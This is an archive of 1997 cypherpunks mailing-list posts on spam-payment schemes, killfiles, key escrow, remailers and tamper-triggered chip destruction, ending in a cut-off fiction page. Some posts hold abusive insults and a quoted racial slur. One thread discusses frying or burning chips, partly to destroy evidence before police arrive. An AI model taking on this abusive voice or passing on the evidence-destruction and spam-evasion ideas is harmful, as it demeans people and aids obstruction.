> >I'll be going to both events, of course. I'll try to drag an article or
> >column out of the "regulation in the digital age" conference, so check out
> >netlynews.com around that time. Maybe in the Afterword section.
> 
> Just when I was beginning to think Declan was not just a typical journalist..
> 
(long flame skipped)

I guess Timmy May is still miffed at Declan for exposing Timmy and Cocksucker
John Gilmore as plug-pulling censors?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Apr 1997 08:13:38 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <3.0.1.32.19970409133818.009f7360@localhost>
Message-ID: <62aw5D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Johnson <Michael.Johnson@mejl.com> writes:

> Dr.Dimitri Vulis KOTM wrote:
> >One problem is that a lot of people put fake addresses in the from:
> >fields. Why waste good e-cash on e-mail to addresses that bounce?
> 
> That's the best kind for the payer, because ecash(tm) is not lost once you
> send it. You can cancel the payment if it bounces or after a specified
> amount of time. That's the double spending protection in ecash(tm), the
> first person to deposit a specific coin gets the money.

That's a good feature.  Other than raw e-cash, Alice could be sending out
messages like "Here's a random token: return this token to redeem your
cash". Also instead of general-purpose cash, Alice could be sending out
soft tokens only usable at her site: mention Alice's 900 number, receive
an e-mail with a secret code that allows you to FTP a single x-rated
picture from Alice's Web site.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Apr 1997 08:17:19 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <199704090509.AAA08271@manifold.algebra.com>
Message-ID: <q9aw5D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


> > Yes, Bob could post something like "drink kaka cola and die" and
> > "elect John M Gubor Sheriff if you want to be arrested".
> > Hopefully, most Bob's won't.
> 
> That's questionable at best. Also, there can be so much ingenuity in
> making the ads appear unreadable, that it would be hard to watch who
> is good and who is bad.

Good - let them exercise their ingenuity rather than forge cancels and
pull plugs.

> For example, how about this signature that purports to advertise
> http://www.kaka-kola.com:
> 
> ^L^L^L
> -----------------------------------------------------------------------
> = please ignore contents of this sig -- skdjhgf asdgf -- == <blink>
> <color=#000000> = http://www.devnull.com http://acd http://www.www.www
> http://www.kaka-kola.com http://xxx == </color></blink> == this sig
> intentionally made unreadable to cheat alice ==
> -----------------------------------------------------------------------

OK, I see several approaches:

1. For some kinds of advertizing messages, like 900 numbers, even the kind
of exposure you describe is good exposure.

2. Alice's bot can state that it won't pay for articles that contain certain
kinds of "taboo" regexps - "fuck", "shit", "piss", "cunt", "spam", "Alice...".

3. When is the contract created, if at all? Alice can just review the traffic
by hand, as a human, and decide on her whim that she won't be paying this
particular Bob anymore.

> > Yes, if Alice just posts her regexps on a public Web page, a clueful
> > person can automatically fetch them and add them to his killfile or
> > even forge cancels for Bobs' articles that contain them.
> 
> > I think this would be a stupid thing to do because Bobs' articles
> > may contain useful information besides Alice's ad. Also the regexp
> > might occur in a followup to Bob's article, which may contain
> > useful information.
> 
> Well, one can modify newsreaders to delete only lines that match
> the regexps, but show other parts of the article. That may be one
> of the pieces of functionailty of libkillfile.so that I once mentioned.

Wonderful - go ahead and do it.  Anyone clueful enough to build a killfile
may not be worth advertisingto anyway.

Remember how Sandy Sandfart used to preach how he has the abllity to filter
out my traffic, but he wants to silence me in the interest of those who don't
have this capability?

Same thing with killfiles.
> 
> > On the second thought, Alice may not need a prior contract with Bob,
> > nor the ID#. She can just list the regexps she's trying to promote
> > on her web page and go promiscuously by the address in the From: header.
> > 
...
>  
> > What Alice could do is send an e-mail like
> >  "Your article with message-id blah posted to blah contains
> >   a message that I'm paying to promote. Here is a cookie;
> >   if you return this cookie, I'll send you $n e-cash."
> > If it bounces, or if the recipient never sends back the cookie - too bad.
> 
> If it bounces, Alice would usually get the money back in the bounce message.
> 
> Can't alice put a stop on a piece of digital cash? I am not sure, but it
> may be possible. It is surely possible with adding one more trusted party,
> and some more signing and encryption, anyway.

The address could be a black hole type of thing.

But, on the third thought :-), I don't like the idea of sending unsolicited
e-mail in response to Usenet articles, even if the e-mail contains e-cash.

How about this for a protocol:

Alice puts up the Web site listing the regexps she wants promoted.

Bob tells Alice (via a web form, say):

I will be posting as bob@foo.nospam.bar and bob@delete.me.foo.bar;
please e-mail my fee to bob@fo.bar; your decisions are final.

Alice e-mails bob@foo.bar, saying:
please post cookie1 to misc.test (or whatever) as bob@foo.nospam.bar;
please post cookie2 to misc.test as bob@delete.me.foo.bar
(to show that Bob does post from these accounts and does read e-mail
at bob@foo.bar).

Once Alice's bot sees the cookies, it starts generating fee e-mails.
Moreover if Alice sees Bob making fun of her, the way you described, she
can stop paying him forever.

> > > Alice's contract can also specify that if a third party forges a cancel
> > > within a week for Bob's Usenet article containing the regexp, then Alice
> > > will pay nothing and let Bob sue the forger for the lost income. (This
> > > may become moot as more and more ISPs ignore forged cancels.) This gives
> > > Bob the insentive to spam intelligently - not to trigger any cancelbots
> > > and not to have his plug pulled by his ISP.
> > 
> > After Alice's bot finds an eligible Usenet article, it should wait
> > a week or so to see if it was cancelled or superseded before issuing a
> > payment. If it's cancelled, then instead of payment it should send
> > a notice saying:
> >  "Your article with message-id blah posted to blah contains
> >   a message that I'm paying to promote. I would have paid
> >   you $n e-cash, but unfortunately a cancel has been issued
> >   for your article: <quote cancel>"
> > That should get Bob pretty mad at the 3rd party canceller. :-)
> 
> Alice can then cheat and issue the cancels herself. Since most spammers
> are crooks, I expect that to happen a lot. No good.

There would hopefully be more than one Alice competing for the posting agents.
If she acts unethically (fails to come through with the payment), she will
lose reputation capital.

I mean, Alice can just put up a web page claiming that she'll pay for
promoting her regexps, and then not send anybody any ecash, cancels or
no cancels. Who's going to sue her for breach of contract and where?

Spammers are less crooks than Sandy Sandfart and Cocksucker John Gilmore,
or th scumbags who forge cancels.

> > > Alice can also put some reasonable caps on the number of repetitions
> > > because if Bob posts the same regexp 10,000 times, the marginal exposure
> > > is less from Bob than from a newbie Carol. Again, if there are several
> > > such Alices, the market will take care of negotiating such details.
> > 
> > Alice needs to maintain a map of (poster,newsgroup,regexp) to # posts;
> > when it reaches 100, stop paying this poster. I think 100 mentions by
> > the same poster is way past saturation.
> 
> I can generate a gazillion posters from algebra.com.
> 
> Of course, Alice can also introduce per-domain restrictions.

I can generate a bazillion posters from dm.com, but this is rare.

I can also get a dozen AOL screen names from a single AOL account.

It's OK because the reasons for this cap are pure marketing:
(not trying to cap Alice's expense). For the target audience,
seeing the same 900 number >100 times from the same address loses
the marginal effectiveness.  If you post the same 900 number 100
times from ichudov@algebra.com and then 100 times from arabinovich@algera.com
it'll be as effective as if it came from irabinovich@analysis.com.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sebastia Lancho <tan@mss.es>
Date: Wed, 9 Apr 1997 01:27:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: new ,CRIPT password
Message-ID: <3.0.1.32.19970409102810.00693c70@194.224.252.15>
MIME-Version: 1.0
Content-Type: text/plain


Hi !
I'm Sebastian from Barcelona.
I'm new on internet. I'm a developer.In my first project I did a
homebanking but I don't know how cript the password of the users.
If somebody has a little C function that can do this please send me!
and report me information!
many thanks
Sebastian
tan@mss.es





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Apr 1997 10:51:20 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Killfiles (was: spambots)
In-Reply-To: <334B36BD.7677@sk.sympatico.ca>
Message-ID: <aigw5D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > Killfiles? So many scumbags whine about their inability to use them,
> > so they try to silence whomever they don't like.
> 
>   Or they have them and still try to silence those whom they
> don't like.

Sure - remember how Sandy Sandfart, the marketing guy from C2Net, claimed
that he's already filtering out me e-mail on this list, but wanted me
silenced to protect the "newbies" who haven't yet filtered me out?

> > Yes, if Alice just posts her regexps on a public Web page, a clueful
> > person can automatically fetch them and add them to his killfile or
> > even forge cancels for Bobs' articles that contain them.
> > 
> > I think this would be a stupid thing to do because Bobs' articles
> > may contain useful information besides Alice's ad. Also the regexp
> > might occur in a followup to Bob's article, which may contain
> > useful information.
> 
>   Some CypherPunks regularly brag about the size of their
> killfiles.

The anonymous coward known as "Lucky Green" likes to publicly *PLONK*
anyone he disagrees with.  This is supposed to represent the sound the
address makes as it hits the killfile.  of course once Lucky Green
*PLONKS* someone, he becomes obsessed with that person - stalks them
around and follows up on anything they say with his Cabal drivel.

>   To me, this is not a far cry from bragging about not reading
> anything written by niggers, "Cause they ain't not got nothing
> to say less'n they say they is goin' back to Africa."

Well - they're welcome to killfile whatever they don't like. No one's
forcing them to read the traffic they don't want. Problem is, net.scum
like Cocksucker John Gilmore and Timmy May want to prevent others from
having access to the information the net.scum wants to suppress.

In a recent incident, a teenage Cabal stooge has published a defamatory
web page known as "Global Killfile" and advertised it heavily on usenet.
As the result, the wife of one of the people mentioned in the "Global
Killfile" just had her plug pulled by her ISP who cited this as the only
reason for their action.  I think they have a very good civil case -
better than C2Net's barratrous threats.

> > But of course a reader is welcome to cut off his own nose to spite
> > and face and to killfile anything he likes - as long as he doesn't
> > prevent others from reading what they feel like reading.
> 
>   During the censorship experiment on the list, many of the
> list members showed their flat-foreheaded tendencies by calling
> for the censoring of anyone who deviated from the norm.

Definitely - and I remember everyone who supported Cocksucker John Gilmore.

On a related topic, consider the make.money.fast spam.  Anyone with half a
clue can killfile it both in Usenet and in e-mail, since it contains essentially
the same key words. But a number of people feel obliged to forge cancels for
MMF posted to Usenet because it's supposed to be a pyramid scheme that's
supposed to be illegal in *some* jusrisdictions. Following the same logic,
the government of Singapore can forge cancels for any Usenet articles
critical of their Hitler-like leader because such criticism is illegal
in Singapore.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 9 Apr 1997 15:31:12 -0700 (PDT)
To: Kent Crispin <kent@songbird.com>
Subject: [Key Markets] Re: "...markets are fundamentally chaotic, not efficient"?
In-Reply-To: <v0302092eaf6ea75718f6@[139.167.130.246]>
Message-ID: <3.0.1.32.19970409120317.005e53f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Crispin and Hettinga discussing efficient markets for key bailment:

>> In a geodesic network, a single node can not possibly process all
>> the information in the network. It chokes, and the network routes 
>> around it. 
>> You can bet that any key escrow agent would be innundated with
>> surveillance requests 

We're not talking about a lot of bits, here.
If you take care of the hard problem, which is getting people to hand 
their keys over to easily located key baliffs for no good business reason,
the amount of retrieval work is really a lot smaller than the 
work of wiretapping all the communications and selecting targets.
If the government expects to get the key owners to pay for bailment,
and get retrievals for free in return for paper copies of warrants
blue-ink-signed by judges, in triplicate, with hand-pressed notary seals,
yes, that'd be a bottleneck.  On the other hand, if the key bailiffs
accept electronic requests, digitally signed by the judge's key,
with electronic payment attached (whether DigiCash or EscrowBucks),
the costs of the key bailment service are quite low and the profit on
each request makes it worthwhile to expand the business to meet 
rapidly-increasing demand - cheap enough to the government to make it
worth wiretapping more encrypted transactions.   
Since the Secretary gets to approve Key Recovery Agent Parties,
he can disavow all knowledge of agents who insist on a real signature
and want to be sure the request was signed by a real judge rather than
by some clerk or cop using the Escrowed copy of the judge's key.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 9 Apr 1997 15:30:33 -0700 (PDT)
To: Kent Crispin <kent@songbird.com>
Subject: Re: "...markets are fundamentally chaotic, not efficient"? Really?
In-Reply-To: <v0302092eaf6ea75718f6@[139.167.130.246]>
Message-ID: <3.0.1.32.19970409120348.005e53f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent and Bob have been huffing and puffing and blowing each others's
straw men down for a few stochastically-determined rounds....

>Sorry.  It's Edgar Peters, "Chaos and Order in the Capital Markets", 
>John Wiley, 1991.  I'm sure you will rush out and buy a copy :-)
>
>> > Chaotic is not the same as stochastic.
...
>Clearly, you don't know what you are talking about.  Strictly 
>speaking, chaotic behavior (as mathematically defined in chaos theory)
>is completely *deterministic*, not random.  

By that definition, markets, whether for capital or assassins, 
are distinctly _not_ chaotic*, since most people's decisions
	[* Unless Life, The Universe, and Everything are really
	deterministic, but fate has decreed that I don't believe that...]
about what stocks to buy/sell, and particularly the timing,
are influenced by lots of random events - when they hear what information,
whether they were busy doing something else when they heard, 
whether they'd just blown their disposable income on a new car
because that freak windstorm dropped a tree on their car the same
week the Post Office ate their car insurance payment, 
whether Alan Greenspan had a bad pizza the night before the quarterly 
interest rates came out or too much caffeine before his latest speech....
Much of the market is driven by the large institutional trading houses,
and increasingly by their computer models, but a lot of it's random,
and those functions that are chaotic are driven by random inputs.

To the extent that the interactions are chaotic rather than linear,
it is hard to develop good models of what the market might do and 
squeeze a few more bits of predictive information out of the vast 
quantity of observable random data; even with good computer models
and Nuclear Physics PhDs on Wall Street there'll probably always be
enough inefficiency left in the market for people to squeeze a few
more megabucks worth of arbitrage out of it.

[Of course, one of the most effective ways to make money in the market
has always been to provide high-priced (or low-priced high-volume)
investment advice to investors - and chaos theory has contributed
not only to the profitability of some investors but to the
buzzword-supply of hucksters in many fields, and selling buzzwords
can make a lot of short-term money...]


>> Most of the physicists hired by Wall Street were people who 
>> discovered market analogs to physical processes. 

The one physicist I knew well who went to Wall Street did it during
the stock market boom of 1987.  (Oops...)  He was fortunate to 
avoid getting caught in one of the major fallouts of the '87 stock crash,
which was the '87-'88 stock market job crash, though.

>> > Obviously I can't "prove" markets are not efficient -- 
>> > that's an empirical matter, not a mathematical matter.  

The standard way to prove that a market is inefficient is to
go tap some money out of it.  Doing so does eliminate that particular
inefficiency after a while, but there keep being enough people
employed on Wall Street to suggest that there's always inefficiency.
>> > "Whip me! Beat me! Savage me in Cypherpunks!"
I didn't come here for an argument....



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 9 Apr 1997 15:30:40 -0700 (PDT)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: $20,000 the going rate?
In-Reply-To: <3349B4D0.7977@sk.sympatico.ca>
Message-ID: <3.0.1.32.19970409121544.005e53f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>>> "TWO ACCUSED OF MURDER-FOR-HIRE PLOT"
>>> Overheard phone call leads to arrests
>>  And the way this relates to Jim Bell is...
>No direct relation. :)

It's one of those "We've already established what you are,
and now we're just haggling about price" things.

	"I don't do 'work' -- but I have a friend who does."

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 9 Apr 1997 12:18:03 -0700 (PDT)
To: 00043.an@edtec.com
Subject: Re: which remailers are safe?
In-Reply-To: <199704091457.KAA09412@main.inetnow.net>
Message-ID: <334BDE51.1CD2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


00043.an@edtec.com wrote:
> 
> does anyone know about edtec.com?
> The problem is, does anyone really know who their remailer is?
> Which ones are known absolutely to be run by safe operators,
> and which ones are thought or known to be trolls by Unsavory Characters?

 The edtec.com remailer is run by communist agents within the CIA
who share their informations with capitalist agents in Red China.
  I will phone you at your unlisted number later tonight, in order
to discuss this matter further.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Wed, 9 Apr 1997 09:30:53 -0700 (PDT)
To: <cypherpunks@toad.com>
Subject: Re: which remailers are safe?
In-Reply-To: <199704091457.KAA09412@main.inetnow.net>
Message-ID: <3.0.1.32.19970409123003.007c5480@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:01 AM 4/9/97 -0500, 00043.an@edtec.com wrote:
|For some reason my anonymized posts here are never arriving?
|So I try this service - does anyone know about edtec.com?
|The problem is, does anyone really know who their remailer is?
|Which ones are known absolutely to be run by safe operators,
|and which ones are thought or known to be trolls by Unsavory Characters?
|I am very interested to see if this post makes it to the list!

Dear 00043.an,

I have a sense of being here before!

'Twas a post such as this that called forth TruthMngler.

Spare us!

Alec




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Wed, 9 Apr 1997 09:36:26 -0700 (PDT)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Black box attacks (was Re: Crypto-Dongel)
In-Reply-To: <0nGlUs200YUd1==LY0@andrew.cmu.edu>
Message-ID: <Pine.BSD/.3.91.970409121937.266A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 9 Apr 1997, Jeremiah A Blatz wrote:
> Dave Emery <die@pig.die.com> writes:
> >         I have heard about thermite devices being used for this in 
> > the sort of applications that might warrent it.   Granted that this
> > is a royal fire hazard unless very carefully engineered, but at least
> > it is not an explosive per se....  
> 
> Thermite is probably overkill unless you're trying to dust something
> big like a hard drive. Just a bit of magnesium (which is often used as
> primer for thermite) should do the trick on a chip. I wonder if it's
> really essential to be so drastic, though? Would just getting the chip
> really hot be enough to wipe it? What about exposing it to a big arc?
> One might imagine a PCMCIA with a voltage doubling diode ladder and a
> small capacitor... would this be sufficient?

If you're trying to destroy a standard IC, why don't you just hook up the
power and ground pins to a 120V AC outlet?  No special equipment or
substances required, just a couple of wires.  Done it myself, and some
chips make a really neat popping sound as the top blows off :-)

Warning for the electronically challenged: don't use this method if you 
care about the rest of the board. 

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 9 Apr 1997 12:18:20 -0700 (PDT)
To: declan@well.com
Subject: Re: Reporters, Declan, Columns, Articles, and Angles
In-Reply-To: <Pine.GSO.3.95.970409105536.6823A-100000@cp.pathfinder.com>
Message-ID: <334BE3F4.7176@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:

> I've been on cypherpunks long before I got my press credentials. The
> topics genuinely interest me, and this is one of the few jobs where I can
> follow them full-time. If I wanted to make a decent living, I would have
> taken that job as a management consultant instead. (Some of us aren't
> independently wealthy, Tim.) Mercenary? Not quite. Journalists don't get
> paid a whole hell of a lot.

  And Declan's articles genuinely interest 'me'.
  Having done a variety of 'reports' ranging from business reports to
press reports, I recognize that they have to be written so as to be
readable to those with no deep-rooted background in the events or
issues being reported.
  While those who faithfully follow the CypherPunks list and the
issued discussed here may find his reports somewhat shallow, I try
to read them from the perspective of those who have an interest in
the issues but only limited knowledge concerning them. From this
perspective, Declan's reports do a good deal to enlighten the masses
in regard to whatever issue he addresses.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 9 Apr 1997 10:04:27 -0700 (PDT)
To: cypherpunks@algebra.com
Subject: Re: Black box attacks (was Re: Crypto-Dongel)
In-Reply-To: <Pine.BSD/.3.91.970409121937.266A-100000@mrburns.iosphere.net>
Message-ID: <0nGwjx200YUf04XiI0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"Cynthia H. Brown" <cynthb@sonetis.com> writes:
> If you're trying to destroy a standard IC, why don't you just hook up the
> power and ground pins to a 120V AC outlet?  No special equipment or
> substances required, just a couple of wires.  Done it myself, and some
> chips make a really neat popping sound as the top blows off :-)

"Excuse me, Mr. Jack-booted Long Arm of The Law, do you mind putting
your gun away whilst I just plug this evid^H^H^H^HPC Card into the
wall? Thanks."

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBM0vL9ckz/YzIV3P5AQFs3gL9Gb2T14AbJCwadf1n35iqYcbkY6npZL+l
1oe6BjQGi7Gql8aWCazxGdDvAfo0Hxg1744odCSBuT4BgeLzYpblaI+hCSTk1mar
H7AqYjuC58RcJog/da/FJnLSQU3RjXtf
=uO3j
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 9 Apr 1997 13:10:11 -0700 (PDT)
To: shadow@count04.mry.scruznet.com
Subject: Re: on micro-explosions was Re: Black box attacks (was Re: Crypto-Dongel)
Message-ID: <3.0.32.19970409103942.006ee50c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:46 PM 4/8/97 -0700, shadow@count04.mry.scruznet.com wrote:
>instead of minute quantities of explosives one could use extremely fine wires
>suspended a small distance from the substrate to be destroyed.
>Feed a short(below 3 ms) high current pulse(figure a 400w/s photoflash
supply)
>the wavefront from the exploding wire will be in the supersonic region.
>this method may be used in lieu of explosives to achieve the effect of
>a high order detonation. gee wonder if the
>atf will forbid us capacitors and wires now :)

Wavefronts are a possibility. The disadvantage of any capacitor based
system is that capacitors discharge over time. If the system gets
disconnected from the power supply, before long the device has to be
activated or lose its effectiveness. "Use it or lose it".

This may not be ideal for the particular application.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 9 Apr 1997 12:32:04 -0700 (PDT)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Reactionaries
In-Reply-To: <334AAE5E.38F5@sk.sympatico.ca>
Message-ID: <334BEEBF.578D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:

> Let's not make the Cypherpunks firing squad a circle.

  Although Tim has been on the rag lately, perhaps this bit
of humor is a sign that his period (pardon the pun) of male
menopause is over.

-----BEGIN PGP SIGNATURE-----
Version: Wouldn't you like to know?
Hey!Youstinkingcops!I'musingPGPsoyouguyscanjustgofuck
yourselfifyouthinkyou'regoingtoreadmyshit.
=uO3j
-----END PGP SIGNATURE-----
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Johnson <Michael.Johnson@mejl.com>
Date: Wed, 9 Apr 1997 04:39:30 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <199704082129.QAA03372@manifold.algebra.com>
Message-ID: <3.0.1.32.19970409133818.009f7360@localhost>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
>One problem is that a lot of people put fake addresses in the from:
>fields. Why waste good e-cash on e-mail to addresses that bounce?

That's the best kind for the payer, because ecash(tm) is not lost once you
send it. You can cancel the payment if it bounces or after a specified
amount of time. That's the double spending protection in ecash(tm), the
first person to deposit a specific coin gets the money.

Mike.

* Ecash is a registered trademark of Digicash BV





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 9 Apr 1997 13:45:29 -0700 (PDT)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: Black box attacks (was Re: Crypto-Dongel)
Message-ID: <3.0.32.19970409134223.007296b8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:35 PM 4/9/97 -0400, Cynthia H. Brown wrote:
>If you're trying to destroy a standard IC, why don't you just hook up the
>power and ground pins to a 120V AC outlet? 

You are unlikely to have AC in a system by the time the tamper detector
senses an intrusion. Similar problems apply to arcs and anything based on
discharging a large capacitor.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Wed, 9 Apr 1997 11:20:38 -0700 (PDT)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Black box attacks (was Re: Crypto-Dongel)
In-Reply-To: <0nGwjx200YUf04XiI0@andrew.cmu.edu>
Message-ID: <Pine.BSD/.3.91.970409140125.266B-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 9 Apr 1997, Jeremiah A Blatz wrote:

> "Cynthia H. Brown" <cynthb@sonetis.com> writes:
> > If you're trying to destroy a standard IC, why don't you just hook up the
> > power and ground pins to a 120V AC outlet?  No special equipment or
> > substances required, just a couple of wires.  Done it myself, and some
> > chips make a really neat popping sound as the top blows off :-)
> 
> "Excuse me, Mr. Jack-booted Long Arm of The Law, do you mind putting
> your gun away whilst I just plug this evid^H^H^H^HPC Card into the
> wall? Thanks."

If Mr. Jack-Boots And Friends are standing behind you, it's too late
anyways.  You certainly won't have time to dig out the thermite /
magnesium, place it on the appropriate chip, and ignite it.  If you're
going to the trouble of rigging up an emergency destructo-circuit, you
might as well make sure you have something that fries the chip / PCMCIA
card completely. 

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 9 Apr 1997 15:05:10 -0700 (PDT)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Black box attacks (was Re: Crypto-Dongel)
In-Reply-To: <3.0.32.19970409134223.007296b8@netcom13.netcom.com>
Message-ID: <19970409150210.65475@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, Apr 09, 1997 at 01:45:19PM -0700, Lucky Green wrote:
> At 12:35 PM 4/9/97 -0400, Cynthia H. Brown wrote:
> >If you're trying to destroy a standard IC, why don't you just hook up the
> >power and ground pins to a 120V AC outlet? 
> 
> You are unlikely to have AC in a system by the time the tamper detector
> senses an intrusion. Similar problems apply to arcs and anything based on
> discharging a large capacitor.

I don't think power is the problem -- you could always include a 
small rechargable battery in the device, which would be plenty to fry 
an IC, given suitable support circuitry.  The real problem is the 
logic of the tamper detector itself.  How does it "detect 
tampering"?  You would want it to detect mechanical tampering, of 
course, but that's a non-trivial engineering proble.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Wed, 9 Apr 1997 13:13:25 -0700 (PDT)
To: cypherpunks@toad.com
Subject: WebWorld 29
Message-ID: <334BF813.7919@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Bureau 42


Jonathan was 'surfing the Net'.

He had accessed a directory in the Cowboy's database which had
led him into a world that was over a century removed from his
current troubles, and he was like a kid in a candy shop, checking
out the wide range of insanity that had been available at that
point in history.
Revisionism, anti-Revisionism, alt.nudity.mormon, alt.usenet.cabal,
the 'Kook of the Month' website. Dr. Grubor, Dr. Vulis, Dr. Roberts,
and even Old Doc Parker, one of the Author's hidden personas.

Jonathan was cruising the Information Highway, the high point
of the InterNet, wherein everyone with a few dollars to plunk
down could have their own website and make their own particular
